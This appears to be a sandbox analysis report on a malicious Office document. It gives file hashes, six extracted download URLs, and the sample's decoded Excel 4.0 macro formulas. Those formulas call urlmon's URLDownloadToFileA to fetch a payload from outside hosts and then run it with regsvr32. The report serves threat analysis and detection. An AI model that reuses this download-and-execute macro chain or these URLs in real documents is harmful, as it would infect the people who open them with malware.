Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
General
-
Target
d677a8d4b2e792e40d293d993dadeced00c9b8773b738e4634a9878d4f3dd737
-
Size
40KB
-
MD5
c028eb6cf3a22d84a9ff927ee975da7c
-
SHA1
d76cb2d9a9deded0b8e358adadd7e991e49c098c
-
SHA256
d677a8d4b2e792e40d293d993dadeced00c9b8773b738e4634a9878d4f3dd737
-
SHA512
0b169d55302fc13e0e640c3f379ea7faf6f0aad57936c1685168a940707654a97b8dfc761004cd4c1e7b4bd45dd73edf4ad41577083a482e64e1c20c4bda5b14
-
SSDEEP
768:9qhdomi1DOevZCwtumwyKfcrND59V+L9Rw4eWrXcTqZ0Vf5XJ:Ydom4DJwylND59V4jwmXc2CVf5Z
Malware Config
Extracted
https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/
http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/
http://techplanbd.xyz/qel424/RSz4/
http://steelcorp-fr.com/wp-content/tmMFW0SOgOjVCO/
https://deine-bewerbung.com/wp-content/TKXpk/
https://livejagat.com/h/L37tCM6ppS/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://nuwayinternational.com/js/ELNnL0in5CbGnHmNc/","..\cre.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://crm.techopesolutions.com/tttwxore/ihzbh04dT0XaJGAf/","..\cre.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://techplanbd.xyz/qel424/RSz4/","..\cre.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://steelcorp-fr.com/wp-content/tmMFW0SOgOjVCO/","..\cre.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://deine-bewerbung.com/wp-content/TKXpk/","..\cre.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://livejagat.com/h/L37tCM6ppS/","..\cre.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\cre.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
d677a8d4b2e792e40d293d993dadeced00c9b8773b738e4634a9878d4f3dd737